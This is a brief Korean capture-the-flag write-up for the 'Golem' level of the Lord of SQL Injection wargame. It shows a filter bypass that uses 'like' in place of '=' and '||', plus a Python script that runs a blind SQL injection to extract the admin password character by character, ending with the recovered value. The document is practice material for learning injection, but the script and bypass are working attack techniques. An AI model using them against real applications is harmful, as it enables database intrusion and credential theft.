11. Golem

서론

---

NULL

진행과정

---

=과 논리연산 들을 못쓰게 막혀있다. =대신 like를 이용하면 된다.

'||id like 'admin

import urllib, httplib
 
conn = httplib.HTTPConnection("los.eagle-jump.org")
url = "/golem_39f3348098ccda1e71a4650f40caa037.php?pw="
Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}
PW = ""
 
for i in range(1, 9) :
    for j in range(48, 123) :
        payload ="'||id like 'admin' %26%26 mid(pw, "+str(i)+", 1) like '"+chr(j)
        conn.request("GET", url+payload, "", Headers)
        k = conn.getresponse().read()
        if "Hello admin" in k :
            print "[*]Found %c" % chr(j)
            PW+=chr(j)
            break
print "Password = %s" % PW

?pw=88e3137f

# REF

---

NULL